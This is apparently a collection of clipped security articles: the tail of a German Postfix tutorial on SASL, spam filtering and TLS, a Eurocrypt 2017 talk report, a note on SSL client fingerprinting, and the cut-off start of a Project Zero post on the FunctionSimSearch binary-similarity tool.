relayen darf. Der Standardwert von smtpd\_recipient\_restrictions ist
permit\_mynetworks, reject\_unauth\_destination, was Clients aus mynetworks
das Relaying erlaubt, allen anderen nicht. Um auch SASL Clients das relaying
zu erlauben muß permit\_sasl\_authenticated noch ergänzt werden. Danach muß
wie immer bei Änderungen an der main.cf Postfix neu geladen werden:

postfix reload

Es ist auch möglich die Authentifizierungsarten die SASL verwenden kann, aus
Sicherheitsgründen einzuschränken. Haben sie SASL z. B. für die Verwendung mit
Digest-MD5/CRAM-MD5 konfiguriert, möchten sie womöglich nicht das überhaupt
jemand die Plain Methode benutzt. Dies kann so erreicht werden:

smtpd\_sasl\_security\_options = noanonymous, noplaintext

Dies verhindert Anmeldemethoden die Klartextpasswörter übertragen, wie Plain
und Login. Der Standardwert von smtpd\_sasl\_security\_options ist
noanonymous, was lediglich die Anonymous Methode abschaltet.

### SMTP-Auth als Client

Es gibt Situationen in denen Postfix sich wie ein normaler SMTP-Client
benehmen muß und sich mit Benutzername und Passwort bei einem anderen
Mailserver anmeldet um Mails durch diesen relayen zu können. Dies ist z. B.
dann nötig wenn ein Laninterner Postfix-Server für eine Arbeitsgruppe
eingerichtet wurde und dieses Lan nach außen dynamisch wechselnde IP-Adressen
verwendet. Was ist das Problem mit dynamischen IP-Adressen beim Versand? Beim
Empfang ist klar, das der Server Schwierigkeiten haben wird Mails zu
empfangen, da seine IP-Adresse sich immer wieder ändert. Der Versand sollte
aber doch normal möglich sein oder? Der Punkt beim Versand ist das viele
Mailserver beim heutigen Spamaufkommen, so konfiguriert sind, daß sie nur
Mails von Hosts mit fester IP-Adresse annehmen. Alle anderen Mails werden als
Spam abgewiesen, da Spamversender häufig von Botnetzen aus senden deren
Mitglieder meist dynamische IP-Adressen haben.

Um also zu verhindern das die Mail dieses Mailserver als Spam abgelehnt wird,
muß ein Smarthost eingerichtet werden. Ein Smarthost ist ein anderer
Mailserver, durch den unser Mailserver alle Mails zu ihrem eigentlichen Ziel
hindurch relayt. Der Smarthost sollte also ein Mailserver mit fester IP-
Adresse sein, den wir zum relaying benutzen dürfen, z. B. der Mailserver
unseres Providers. Solch ein Smarthost wird in der main.cf so definiert:

relay\_host = mail.myisp.net

Dies wird alle Mails nicht an ihr eigentliches Ziel sondern an den Server
mail.myisp.net weiterleiten. Ausnahmen davon können über eine Transport
Lookup-Tabelle definiert werden \(siehe bei Mailgateways\).

Da aber praktisch alle Mailserver von Providern eine Authentifizierung
verlangen, muß auch für diese Clientkonfiguration von Postfix SASL verwendet
werden. Dazu sind 2 Parameter in der main.cf erforderlich:

smtp\_sasl\_auth\_enable = yes  
smtp\_sasl\_password\_maps = hash:/etc/postfix/sasl\_passwd

smtp\_sasl\_auth\_enable = yes schaltet die Clientseitige Unterstützung für
SASL ein. smtp\_sasl\_password\_maps verweist auf eine Lookup Tabelle, in der
für jeden Relayserver ein Benutzername/Passwortpaar angegeben ist. Die Datei
könnte zum Beispiel so aussehen:

mail.myisp.net user:geheim

Auf der linken Seite steht der Hostname des Servers, auf der rechten Seite
getrennt durch einen Doppelpunkt ein Benutzername/Passwortpaar. Da in dieser
Datei ein SMTP-Passwort im Klartext angegeben ist, achten sie auf die Rechte
die diese Datei hat. Sie sollte nur für Root zugänglich sein:

chown root /etc/postfix/sasl\_passwd  
chmod 600 /etc/postfix/sasl\_passwd

Danach muß noch die Datenbankdatei erstellt werden:

postmap sasl\_passwd

## Spambekämpfung

Spam wird zum immer größeren Problem. Bereits weit über 90 % des gesamten
Emailverkehrs im Internet besteht aus Spam. Daher nehmen Spamabwehrmassnahmen
einen immer breiteren Raum in der Arbeit von Mailadmins ein. Postfix besitzt
einige einfache Maßnahmen gegen Spam, die durch weitere externe Filter wie
etwa Spamassassin ergänzt werden können.

Der Vorteil einiger Postfixinterner Spamabwehrmaßnahmen ist, daß die
betreffenden Spammails bereits beim Einlieferungsversuch abgewiesen werden.
Externe Filter wie etwa Spamassassin, sind darauf angewiesen, das die Mail
bereits durch den Mailserver angenommen wurde, um mit Ihrer Arbeit zu
beginnen. Bei den Postfixinternen Maßnahmen wird dadurch im Vergleich zu
externen Filtern Kapazität gespart. Außerdem erzeugt eine direkte Ablehnung
der Mail eine Fehlermeldung, die der Mailserver seinem ursprünglichen Kunden
weitergeben kann. Sollte eine Mail also versehentlich als Spam deklariert
worden sein \(false positive\) bekommt der Mailversender direkt eine
Fehlermeldung \(sogenannter "Mailer-Daemon"\). Zwar könnte auch ein externer
Filter nach der Annahme eine Rückantwort schicken, falls eine Mail verworfen
wird, aber Spammer fälschen Absenderadressen. In so einem Fall würde also
jemand völlig ahnungsloses eine Fehlermeldung per Mail erhalten, dessen
Adresse einfach als Absenderadresse von Spammern mißbraucht wurde. Solche
Bounces sind oft genauso ärgerlich wie der Spam selber.

Die Postfixinternen Spamabwehrmaßnahmen gliedere ich hier in 3 Kategorien:
Korrektheitsprüfungen, DNS-Blacklists und Inhaltsfilter.

### Korrektheitsprüfungen

Als Korrektheitsprüfungen fasse ich hier Maßnahmen zusammen, die überprüfen ob
bestimmte Angaben des einliefernden Mailservers, bzw. der Versandadresse
überhaupt korrekt sein können. Sind sie nicht korrekt wird davon ausgegangen
das es sich um Spam handelt. Als Beispiel dafür: Manchmal setzen Spammer
Absenderadressen ein, deren Domain gar nicht existiert. Da man schlecht auf
Mail antworten kann, deren Absenderdomain noch nicht mal im DNS bekannt ist,
kann man in so einem Fall davon ausgehen das es sich um Spammails handelt und
solche Mails einfach abweisen. Dazu muß Postfix nur prüfen ob die
Absenderdomain existiert. Dies läßt sich durch folgenden Parameter in der
main.cf erreichen:

smtpd\_sender\_restrictions = reject\_unknown\_sender\_domain

Versucht nun jemand eine Mail einzuliefern deren Absenderdomain unbekannt ist,
wird er mit einer Fehlermeldung abgewiesen. Diese Fehlermeldung hat hier als
Standard einen 4xx Fehlercode. Das SMTP-Protokoll kennt Fehlermeldungen mit
4xx Statuscodes und mit 5xx Statuscodes. 4xx Statuscodes stehen für temporäre
Fehler. In diesem Fall sollen einliefernde Clients es später noch mal
versuchen. 5xx Statuscodes stehen für dauerhafte Fehler, der Client soll es
nicht noch mal versuchen. Wer solche Clients daher mit einer 5xx Stausmeldung
abweisen will kann folgenden Parameter benutzen:

unknown\_address\_reject\_code = 554

Eine noch etwas strengere Prüfung stellt die Überprüfung dar, ob der
einliefernde Host im DNS einen gültigen A- und PTR-Eintrag besitzt. Dies
sollte eigentlich bei einem Mailserver stets der Fall sein \(wovon man
allerdings auch nicht unbedingt immer ausgehen kann\), so das man Mails von
Hosts auf die dies nicht zutrifft als Spam ablehnen kann:

smtpd\_client\_restrictions = reject\_unknown\_client  
unknown\_client\_reject\_code = 554

Auch hier wird durch den zweiten Parameter der Fehlercode von 4xx in einen 5xx
Statuscode gewandelt.

### DNS-Blacklists

DNS-Blacklists, manchmal auch als Realtime Blacklists \(RBL\) bezeichnet, sind
Listen von Anbietern die bekannte Spamquellen einfach in eine DNS-Zone
eintragen. Solche Blacklists sind praktisch da man zu deren Nutzung nicht viel
machen muß und einen recht großen Teil des Spamaukommens einfach los wird.
DNS-Blacklists haben aber auch Nachteile: Sie sollten sich mit der Policy des
Anbieters vertraut machen, da sie bei Anwendung der Blacklists einem anderen
Anbieter vertrauen, wer ihnen noch Mail zusenden darf und wer nicht. Sollte
der Anbieter zu scharf dabei sein, Spamquellen in die Blacklist aufzunehmen,
könnte dies zu false positives führen.

DNS-Blacklists existieren von verschiedenen Anbietern, manche sind kostenlos,
manche verlangen für die Nutzung etwas. Ein Beispiel für eine kostenlose DNS-
Blacklist ist die Nixspam Blacklist des heise-Verlages in der Zone
ix.dnsbl.manitu.net \(siehe:http://www.heise.de/ix/nixspam/dnsbl/\). Wenn sie
solch eine Liste verwenden wollen, müssen sie nur die
smtpd\_recipient\_restrictions entsprechend ergänzen:

smtpd\_recipient\_restrictions = permit\_mynetworks,  
permit\_sasl\_authenticated,  
reject\_rbl\_client ix.dnsbl.manitu.net,  
reject\_unauth\_destination

Der Wert reject\_rbl\_client, sowie die entsprechende DNS-Zone sind alles was
sie in smtpd\_recipient\_restrictions ergänzen müssen.

### Inhaltsfilter

Postfix kennt darüber hinaus Inhaltsfilter, die Mails nach Suchmustern
absuchen und anhand von Treffern Mails abweisen oder annehmen können. Postfix
unterstützt dazu als zusätzlichen Lookup-Tabellentyp, Lookup Tabellen mit
regulären Ausdrücken. Reguläre Ausdrücke sind spezielle Suchmuster, die über
einfache Wildcardzeichen deutlich hinausgehen. Postfix kann jeweils getrennt
Mailheader und Mailbody nach Suchmustern durchsuchen. Für beide läßt sich eine
Lookup-Tabelle angeben:

header\_checks = regexp:/etc/postfix/headercheck  
body\_checks = regexp:/etc/postfix/bodycheck

Bitte beachten sie: Als Tabellentyp ist regexp angegeben, das bedeutet es
handelt sich nicht um eine Datenbankdatei \(die mit postmap erzeugt werden
würde\), sondern um eine einfache Klartextdatei die Perlkompatible reguläre
Ausdrücke enthalten darf.

Die Datei headercheck könnte z. B. so aussehen:

/^Subject: \[a-zA-Z\]+ wartet auf dich im Live-Chat/ REJECT  
/^Subject: Rolex extrabillig kauu?fen/ REJECT

Der jeweilige reguläre Ausdruck steht links, während rechts die Aktion steht,
was mit einem Suchtreffer passieren soll. Als Aktion kann REJECT oder DISCARD
angegeben werden. REJECT weist alle Mails mit einem 5xx Statuscode ab. DISCARD
hingegen tut so als würde es die Mail annehmen verwirft sie aber sofort.

Was im Header meistens als Kriterium verwendet wird, ist der Betreff einer
Email. Dieser beginnt immer am Zeilenanfang mit Subject: und einem Leerzeichen
gefolgt vom Betreff. Die regulären Ausdrücke stehen immer zwischen 2
begrenzenden Schrägstrichen. Das Zeichen ^ steht für den Anfang der Zeile.
/^Subject: / trifft also genau auf die Betreffzeile zu \(und würde bei allen
Mails die überhaupt einen Betreff enthalten treffen\).

Die eckigen Klammern stehen für Zeichenklassen, das heißt, daß Zeichen das an
dieser Stelle steht, kann eines der in der Zeichenklasse erwähnten Zeichen
sein. Die Zeichenklasse \[a-zA-Z\] trifft auf einen beliebigen Groß- oder
Kleinbuchstaben zu. Die Zeichen \*, + und ? sind Quantifier. Quantifier machen
eine Aussage darüber, wie oft das vor ihnen stehende Zeichen \(oder die
Zeichenklasse\) wiederholt sein kann. \* steht für beliebige Wiederholungen
\(inklusive keiner\), + steht für mindestens ein vorkommen und ? steht für ein
oder kein vorkommen. \[a-zA-Z\]+ bedeutet also das mindestens ein, aber
beliebig viele Groß- und Kleinbuchstaben an dieser Stelle stehen können, was
auf beliebige Wörter \(aber nicht z. B. Zahlen\) zutrifft und damit z. B. auch
auf Namen.

Der Ausdruck kauu?fen, trifft sowohl auf kaufen, als auch auf kauufen zu, da
das zweite u durch den ?-Quantifier optional ist. Dies zielt auf einen oft
verwendeten Trick von Spammern ab, Inhaltsfilter durch falsche Schreibweise
von Wörtern zu täuschen.

Möchten sie Zeichen, die in regulären Ausdrücken als Sonderzeichen verwendet
werden, als Teil des gesuchten Zeichens verwenden, müssen sie dieses Zeichen
mit einem Backslash entwerten. Möchten sie also nach "Frage?" suchen müßten
sie /Frage\?/ verwenden. Der Punkt \(.\) ist übrigens auch ein Zeichen mit
Sonderbedeutung für reguläre Ausdrücke, er steht für ein beliebiges Zeichen.

Bei der Verwendung von Inhaltsfiltern sollten sie generell darauf achten
wirklich nur das zu filtern was eindeutig aussortiert werden soll um zu viele
false positives zu vermeiden. Wenn sie z. B. alle Mails mit "geil" im Betreff
verwerfen wollen, würde dies auch eine Mail treffen mit dem Betreff: "In
Geilenkirchen scheint die Sonne".

## TLS

TLS steht für Transport Layer Security \(im Prinzip die modernere Variante von
SSL\). Postfix kann Verbindungen mit TLS verschlüsseln \(sowohl als Client,
wie auch als Server\). Verschlüsselung macht zum Beispiel Sinn wenn
Klartextpasswörter per SASL verwendet werden. Um diese Klartextpasswörter bei
der Übertragung abzusichern, kann man TLS verwenden. Denken sie aber daran,
daß damit nur der eine Transportweg abgesichert wird. Wenn die Mail mehrere
Mailserver durchläuft kann nicht garantiert werden, das jede Verbindung bis
zum Client des Empfängers verschlüsselt wird. TLS ist daher kein Ersatz zu per
PGP/GnuPG verschlüsselten Mails.

Um TLS nutzen zu können benötigen sie zuerst ein Zertifikat. Außerdem müssen
sie sich entscheiden, ob sie dieses Zertifikat durch eine externe CA signieren
lassen, oder eine eigene CA verwenden. Für interne Zwecke ist eine eigene CA
praktisch, aber wenn sie einen öffentlichen Mailserver für verschiedene Kunden
betreiben, ist es besser ein von einer anerkannten CA signiertes Zertifikat zu
verwenden, damit die Clients keine unnötigen Warnmeldungen bekommen.

Der private Schlüssel zum Zertifikat muß für Postfix in unverschlüsselter Form
vorliegen. Mit folgenden Befehl kann man einen privaten Schlüssel, sowie einen
Certificate Signing Request erzeugen, der durch eine CA signiert werden kann:

openssl req -new -nodes -keyout privkey.pem -out keyreq.req -days 730

Dies erzeugt die beiden Dateien privkey.pem, welches der private Schlüssel in
unverschlüsselter Form im PEM-Format ist und die Datei keyreq.req, welche
durch die CA unterschrieben werden muß. Der Parameter -nodes sorgt dafür das
der private Schlüssel unverschlüsselt bleibt und mit -days 730 wird eine
Gültigkeit von 2 Jahren festgelegt. Details können sie auch in der \(sehr
umfangreichen\) Manpage von openssl nachlesen.

Nachdem sie ihr Zertifikat durch eine CA \(eine eigene oder eine externe\)
signiert haben, müssen sie Postfix zum einen sagen, das er TLS verwenden soll,
außerdem müssen sie Postfix 3 Dateien bekannt geben: Der Private Schlüssel,
das signierte Zertifikat und der öffentliche Schlüssel der CA die das
Zertifikat signiert hat:

smtpd\_use\_tls = yes  
smtpd\_tls\_CAfile = /etc/postfix/cacert.pem  
smtpd\_tls\_key\_file = /etc/postfix/privkey.pem  
smtpd\_tls\_cert\_file = /etc/postfix/cert.pem

smtpd\_use\_tls sagt Postfix das er generell TLS für SMTP Clients anbieten
soll \(es gibt auch smtp\_use\_tls, falls Postfix selber Client ist\).
smtpd\_tls\_CAfile gibt die Datei mit dem öffentlichen Schlüssel der CA an.
smtpd\_tls\_key\_file gibt den privaten Schlüssel des Zertifikats an. Dieser
private Schlüssel ist unbedingt zu schützen und sollte daher root gehören und
keine Leserechte für andere Benutzer oder Gruppen haben:

chown root /etc/postfix/privkey.pem  
chmod 600 /etc/postfix/privkey.pem

smtpd\_tls\_cert\_file gibt schließlich die Zertifikatsdatei an.

Falls ihnen die hier verwendeten Begrifflichkeiten wie "privater Schlüssel"
oder "CA" völlig fremd sind, ist es sinnvoll sich zunächst mit den Grundlagen
der Public Key Infrastructure zu beschäftigen.

## Literatur

Kyle D. Dent: Postfix, Ein sicherer und leicht zu verwaltender MTA für Unix,
O'Reilly Verlag 2004. Amazon Link.

Tobias Wassermann: Postfix ge-packt, MITP Verlag, 2006. Amazon Link.

# Eurocrypt 2017

**Created:**| _5/12/2017 1:05:29 PM_  
---|---  
**Updated:**| _5/12/2017 1:05:29 PM_  
**Author:**| __  
**Tags:**| _crypto opinion_  
  

  

# Eurocrypt 2017

Eurocrypt 2017 was hosted by the ENS crypto group and CryptoExperts in Paris,
France. There were four talks of special interest to researchers in curve-
based cryptography, and a couple of items in the Rump Session.

## Twisted <img src='img/3678_latex.php.png' width='16' height='10'
alt='\mu_4' />-normal form for elliptic curves

**David Kohel** introduced the <img src='img/3678_latex.php.png' width='16'
height='10' alt='\mu_4' />-normal form for elliptic curves five years ago \(at
Indocrypt 2012\). These curves are basically the “right way” to generalize
Edwards curve arithmetic to characteristic 2. And they’re the right
generalization not only mathematically, but also NIST-ically: existing
standardized characteristic 2 curves cannot be transformed into <img
src='img/3678_latex.php.png' width='16' height='10' alt='\mu_4' />-normal
form. David’s paper twists its way around that obstruction, for a small cost
of two extra multiplications per point addition. These twisted <img
src='img/3678_latex.php.png' width='16' height='10' alt='\mu_4' />-normal
curves are clearly the fastest and prettiest standard-compatible
characteristic-2 elliptic curves out there. This is great news for
binarophiles, and it will be interesting to see if implementers working on the
hardware level can get much benefit from this.

## Efficient compression of SIDH public keys

**Joost Renes** gave a remarkably accessible talk about his work with **Craig
Costello** , **David Jao** , **Patrick Longa** , **Michael Naehrig** , and
**David Urbanik** on compressing public keys for the Supersingular Isogeny
Diffie–Hellman protocol. SIDH is the best-known supposedly-quantum-resistant
elliptic curve cryptosystem; while it might be slow compared with other
postquantum alternatives, its principal attraction for cryptographers is its
particularly small keys. Well, those keys are now even smaller \(330 bytes for
128-bit security\)—but the interesting thing in this paper is a much-improved
key compression algorithm, which runs an order of magnitude faster than
previous methods.

## Computation of a 768-bit prime field discrete logarithm

**Thorsten Kleinjung** gave a really nice talk on his record discrete
logarithm computation with **Claus Diem** , **Arjen Lenstra** , **Christine
Priplata** , and **Colin Stahlke**. Together they computed a discrete
logarithm in a 768-bit prime field.  
Why 768 bits? Because that matches the record for general integer
factorization \(from 2009, in a project that also included Thorsten and
Arjen\), which was computed with the General Number Field Sieve \(GNFS\); and
GNFS is also what we use for prime-field discrete logs. In contrast to most
recent finite-field discrete-log results which attack small-characteristic or
pairing-related fields, this computation represents the state-of-the-art in
the classic prime-field case.

The prime in question was <img src='img/3682_latex.php.png' width='128'
height='19' alt='p = [2^{766}\pi] + 6272' />, which is the smallest “safe
prime” larger than <img src='img/3679_latex.php.png' width='36' height='14'
alt='2^{766}\pi' /> \(“safe” meaning that <img src='img/latex.php.png'
width='64' height='18' alt='(p-1)/2' /> is also prime, so that this represents
the hardest case for generic algorithms applied to finite fields of the same
size\). The element 11 generates the multiplicative group of <img
src='img/3677_latex.php.png' width='16' height='16' alt='\mathbb{F}_p ' />.

No doubt the question you are asking yourself right now is _“what is the
discrete logarithm of<img src='img/3680_latex.php.png' width='41' height='19'
alt='[2^{766}e]' /> with respect to the base 11?” _Ask no more, for Thorsten
has the answer: it’s
_325923617918270562238615985978623709128341338833721058543950813521768156295091638348030637920237175638117352442299234041658748471079911977497864301995972638266781162575370644813703762423329783129621567127479417280687495231463348812_.

…So now you know. But as Thorsten points out, the journey is more interesting
than the final destination: using some clever techniques detailed in the
paper, this calculation took _much_ less time and effort \(a whole order of
magnitude\!\) than the authors expected. Before you get too excited, it still
took 5300 core years—but if this isn’t the exact discrete logarithm you are
looking for, computing another one in the same field will now only take two
core days. From a cryptographic perspective, that two-core-day figure is
especially interesting, because that’s the time required to break actual keys,
after a 5-core-millennium precomputation depending only on the field.

## A kilobit hidden SNFS discrete logarithm computation

**Joshua Fried** spoke about his work on with **Pierrick Gaudry** , **Nadia
Heninger** , and **Emmanuel Thomé** about discrete logarithms in an even
bigger prime field: 1024 bits. How can you compute discrete logs in such a
large prime field? You cheat—or, I should say, the parameter generator cheats.
Our estimates of the difficulty of these problems, and the cryptosystems that
depend on them, are based on the performance of the _General_ Number Field
Sieve algorithm \(GNFS\). But Dan Gordon explained 25 years ago how to choose
primes that are vulnerable to the much faster _Special_ Number Field Sieve
\(SNFS\)—but only if we know a secret backdoor, and detecting that backdoor is
apparently infeasible. This project set up an instance of a backdoored
1024-bit prime, and then solved it. This means that if you’re still using
1024-bit fields \(and why are you doing such a thing in the twenty-first
century?\), then you should be extremely careful about their provenance. Kevin
McCurley asked an interesting question: is Gordon’s backdoor optimal?

## Speeding up the Huff form of elliptic curves

**Gamze Orhon** gave a lightning-fast presentation of her work with **Huseyin
Hisil** on optimizing Huff curve arithmetic during the rump session. The key
is viewing these curves as curves in <img src='img/3681_latex.php.png'
width='52' height='14' alt='\mathbb{P}^1\times\mathbb{P}^1' />, rather than
<img src='img/3683_latex.php.png' width='16' height='14' alt='\mathbb{P}^2'
/>. The details are in their preprint.

## A database of discrete logarithm computations

**Aurore Guillevic** and **Laurent Grémy** have established a new reference
website to help you keep track of records progress and progress in finite
field discrete logarithm computations. It was about time we had a better
solution than trawling the archives of the NMBRTHRY list\! Laurent is hosting
a front-end on his website, but what’s really nice is that the database itself
is git-able.

**_—Ben Smith_**

  

# Ivan Ristić: HTTP client fingerprinting using SSL handshake analysis

**Created:**| _6/18/2009 10:47:39 PM_  
---|---  
**Updated:**| _6/18/2009 10:47:52 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web crypto_  
  

### HTTP client fingerprinting using SSL handshake analysis

My first SSL Labs project is about HTTP client fingerprinting when SSL is
used. A cipher suite, in SSL, is a collection of cryptographic techniques that
defines a secure communication channel. There are hundreds of cipher suites,
and they are all built out of a dozen or so basic building blocks: key
exchange, encryption and integrity validation algorithms. Different programs
often use different cipher suites. By observing the list of supported cipher
suites one can determine the maximal communication strength, and often even
guess the make of the SSL client on the other side.

Possible uses:

  * System administrators can make informed decisions about which cipher suites to enable in the SSL servers they maintain. The general goal is disable as many of the weak\(er\) cipher suites, while leaving enough to still make it possible for users to connect.
  * Cross-checking the supported cipher suites with the HTTP client identity offered in the User-Agent header may help uncover some automated attack tools that masquarade themselves as browsers. Although the cipher suites used by an SSL client is completely under its control, such evasive actions require a new layer of SSL expertise. \(Whereas it is trivial to spoof the contents of the User-Agent header.\)

The proof of concept is an Apache module, which monitors SSL handshakes to
extract the supported cipher suites. This approach is quite handy, because you
can add the fingerprinting facility to your existing installation and suffer
negligible overhead.

Posted by Ivan Ristić at 16:22:47 in SSL

# Searching statically-linked vulnerable library functions in executable code

**Created:**| _12/21/2018 10:06:23 AM_  
---|---  
**Updated:**| _12/21/2018 10:06:23 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  Searching statically-linked vulnerable library functions in executable
code

Helping researchers find 0ld days

  

Posted by Thomas Dullien, Project Zero

###  Executive summary

Software supply chains are increasingly complicated, and it can be hard to
detect statically-linked copies of vulnerable third-party libraries in
executables. This blog post discusses the technical details of an Apache-
licensed open-source library to detect code from other open-source libraries
in executables, along with some real-world findings of forked open-source
libraries in real-world software.

###  Technical blog post

Permissive open-source licenses have been a great benefit for the IT industry:
Most common problems can be addressed using high-quality libraries under
permissive licenses \(such as BSD or Apache\) which can be easily re-used and
integrated.

This has been great for everybody.

Nevertheless, statically linking third-party code requires special care:
Vulnerabilities in third-party code are discovered regularly, and this implies
updating your binaries. Things get harder when changes in upstream libraries
need to be merged into local forks of the code. Not all organisations get this
right, and even companies with mature secure development processes fumble
sometimes.

For the reverse engineer and offensive researcher, identifying vulnerable
statically linked software libraries is both an opportunity and a challenge:

  * An opportunity since it can provide a way to obtain a vulnerability in a target without having to do the hard work of identifying a new one.
  * A challenge since the available tooling for performing this task is exceptionally poor: The standard way is usually a combination of “searching for known strings”, “educated guess”, and sometimes the use of BinDiff \(a tool that was designed for a very different purpose\).

The technical problem can be phrased as “efficiently performing a fuzzy search
into a relatively large space of possible functions”. Fuzzy search is a
requirement because compiler differences, optimization changes, and code
changes contribute to add “noise” to the code in question.

On the side of academic research, several interesting papers \(CCS ‘16, CCS
‘17 have proposed sophisticated machine-learning-based methods to combine code
embeddings with approximate nearest neighbor searches. They calculate a
representation of code in R^n, and then search for nearby points to identify
good candidates. While these approaches look powerful and sophisticated,
public implementations do not exist, and adoption among practitioners has not
happened. On the practical side, real-world use has been derived from CFG-
focused algorithms such as MACHOC \- but with the downside of being not
tolerant to structural changes and not allowing for any “learning” of
distances. Recently at \(SSTIC ‘18\) a neural-network based approach has been
presented, with an announcement of making the code available in the next
months.

This file describes FunctionSimSearch \- an Apache-licensed C++ toolkit with
Python bindings which provides three things:

  1. An efficient implementation of a hash function \(based on SimHashing\) which calculates a 128-bit hash from disassembled functions - and which preserves similarity \(e.g. “distance” of two functions can be calculated by simply calculating the hamming distance between two hashes - which translates to two XOR and two POPCNT instructions on x64\).
  2. An efficient search index to allow approximate nearest neighbor search for 128-bit hashes.
  3. Some supervised machine learning code that can be used to “learn” a good hash function from human-provided examples - given a set of functions that should be similar according to the hash, and a set of functions that should be dissimilar, the code learns a hash function that attempts to respect these examples.

##  The need for good fuzzy matching

Every reverse engineer has encountered that different compilers and compiler
settings can generate drastically different pieces of assembly. Compilers can
alter the CFG significantly, move code around, and even when they do not
inline aggressively or unroll loops, decisions about code duplication,
instruction movement and scheduling etc. lead to very different disassemblies:

  

<img
src='img/DsYdp_YO6usZxyNvEtOQjltVz_JSXFnCY115fUYKIR2m3PAoJPx3WoGrV8CXjcZU30BbXk0J8XJW1Pl5SLmC1Qt_uZnx28jy68BCKRlZZ2Bx29WP1Ip6B4zDL8T-LrLJ2LDV0sk-.png'
width='624' height='472' />

\(Visual Studio 2015 unrar code vs. gcc 6.4.0 O1 optimized code\)

  

<img
src='img/ptBgbw5j3PdgpY-4ko37PmvYAnvXw4a8cPnIEqELp0eq6wctM8EB56yVRG4rK-6pXlI1CSv7JpJAHv6do-
XinXXPrpW3nZVVm_1D1J3UkMoWMDWaHQclxsU96_YTrd8GMtmh6RMJ.png' width='624'
height='447' />

\(Visual Studio 2015 unrar code vs. gcc 6.4.0 O1 optimized code\)

  

It is obvious that a good method to identify a function in the presence of
changes is needed, and that both instruction-level and graph-level changes
need to be dealt with.

##  Understanding the SimHash algorithm and what it provides

SimHashing was introduced in a paper by Moses Charikar, originally in the
context of web page de-duplication. It is part of a family of algorithms and
concepts called “locality-sensitive hashing”; a concept we will return to
later.

  
The algorithm itself helps condense a set of values into a hash, with the
property that the Hamming distance between the two hashes approximates the set
similarity between the original sets. This makes estimating the set similarity
between two sets blazingly fast \(just an XOR and a POPCOUNT operation\).

  

How does it work? Given a set of features as input \(which are random 128-bit
vectors themselves - if they are not, hash them\), calculate a final hash
output as follows:

  

  1. Initialize a vector of 128 floating-point values to all zeroes.
  2. For each feature in the input set, do:
    1. If bit n of the feature is 0, subtract 1 from the n-th floating-point value
    2. If bit n of the feature is 1, add 1 to the n-th floating point value
  3. Convert the vector of floats to a 128-bit vector by mapping positive values to 1, negative values to 0.

  

Why does this produce a similarity-preserving hash? The intuition can be
obtained by imagining what a minor change in the input set would do to the
vector of floats: The values of these vectors will be approximately normally
distributed with mean 0 and variance ¼ times the number of features.

  

<img src='img/ffs_1.png' width='640' height='256' />

  

Some of the values will be close to zero, either negative or positive. By
changing the sets slightly \(adding or removing a few features\), there is
some probability of individual values crossing over from positive into
negative territory or vice versa. This probability goes up as more of the set
changes; for small changes, the odds of many bits flipping is comparatively
low.

  

It is important to note that the result will always be a 128-bit vector,
irrespective of the size of the set-of-features from which it was calculated.

  

What is a good set of input features for our comparison? Ideally we would want
to extract features that are representative of what we deem “similar”; e.g.
two functions that are compiled from the same source code should have similar
\(overlapping\) sets of features. It is somewhat involved to algorithmically
design such features, so for the moment, the features in question are
extremely simple: Subgraphs of the control-flow graph, n-grams of mnemonics of
disassembled instructions, and constants from operands. In a naive
implementation, all features have unit weight - e.g. every feature contributes
the same to the final hash. This is clearly not ideal - a function prologue is
not very indicative of the similarity between two functions - and we will
improve this later in this post. Other non-implemented ideas for more features
will be discussed at the end of the document.

##  A simple approximate nearest-neighbor search for hashes

With a way of calculating a similarity-preserving hash for a given input
function, how do we search non-trivially sized corpora of such hashes for the
“most similar” hash?  
  
The answer lies in a second application of locality-sensitive hashing. If one
can construct a family of hash functions so that the probability of two nearby
points getting hashed into the same hash bucket is higher than the probability
of two distant points getting hashed into the same bucket, one can construct a
relatively efficient nearest-neighbor search: Simply use k different hash
functions of the family to map inputs to buckets of candidates and process the
candidates.

###  Choosing random bits as locality-sensitive hashes

Since our inputs are bit vectors, the easiest way to build such a hash
function is to simply subsample bits from the vector. This has the nice
property that a single random bit-level permutation of the input is enough to
construct a hash family: In order to construct k different hashes, apply the
bit-level permutation k times to your input and take the first few bits.
Bitwise permutations on 128 bits are cheap-ish in software and close to free
in hardware; the permutation chosen in the codebase should execute in ~65
cycles on a modern CPU.

###  Choice of data structures

The underlying data structure is an ordered collection of tuples of the form:  

  

<PermutationIndex, k-th-permutation-of-input-hash, result-id>  

  

Performing a binary search using the tuple <k, perm\_k\(input\) & \(0xFFL <<
56\), 0> will give us the hash bucket for a given permutation index and input
value. We perform k such searches, and for each hash bucket we add all
elements to a candidate list. The hamming distance between each candidate and
the input hash is calculated, and the results can be returned in the order of
their hamming distance.  
  
A maximally memory- and cache-efficient version of this would simply use a
sorted flat array / vector of such tuples; for our purposes \(and for
efficient insertion\) the existing C++ code uses the equivalent of a std::set
container, made persistent using a memory-mapped file as storage.

##  Learning a SimHash from examples

One of the problems with the described approach can immediately be identified:
Every feature in the input set is treated with equal importance. In reality,
though, features have vastly different importance. Luckily, it is easy to
incorporate the importance of individual features into the calculation of a
SimHash: Instead of adding +1 or -1 into the vector of floats, one could add
or subtract a feature-specific weight.

  

But how does one infer good weights from the training data? Can we
automatically “learn” what features will be preserved across compiler changes,
with some predictive power?

###  Using the cheap gradient principle

The workhorse of modern machine learning is automatic differentiation. In
simple terms, automatic differentiation provides the “cheap gradient
principle” -- which can be paraphrased as “if you can calculate a function
from R^n to R, you can calculate the gradient of this function with moderate
overhead”. This means that if we can specify a loss function involving our
weights, we can try to minimize this loss function. While we won’t have any
guarantees of convergence, odds are we can learn weights from examples.

  

So what we need is a bunch of labelled data \(ideally pairs of functions
labelled “same” or “not the same”\), and a good loss function.

###  Choosing a loss function for the SimHash distance

Building a loss function for our distance requires a slight bit of care. Since
our final distance is a Hamming distance between two bit vectors, the gradient
of this distance is likely to be zero - stepwise functions have many “flat
sections” for which we cannot get a useful gradient.

  

The simplest idea would be to remove the last step of the hash calculation -
instead of comparing the hashes that we derive from the vector-of-floats, one
could measure the Euclidian distance on the final vectors-of-floats.
Unfortunately, this creates “perverse incentives” for the optimizer: The
simplest way to make two “similar” functions close to each other would be to
shrink weights that occur in both to zero.

  

So ideally we want something that “penalizes” when pairs of similar functions
with large distance and pairs of dissimilar functions with low distance.

  

We need a function that is positive when two real values do not have the same
sign, and zero \(or negative\) if the two real values that have the same sign.
Ideally, it should also provide a slope / incentive to move inputs in the
direction of “same sign”.

  

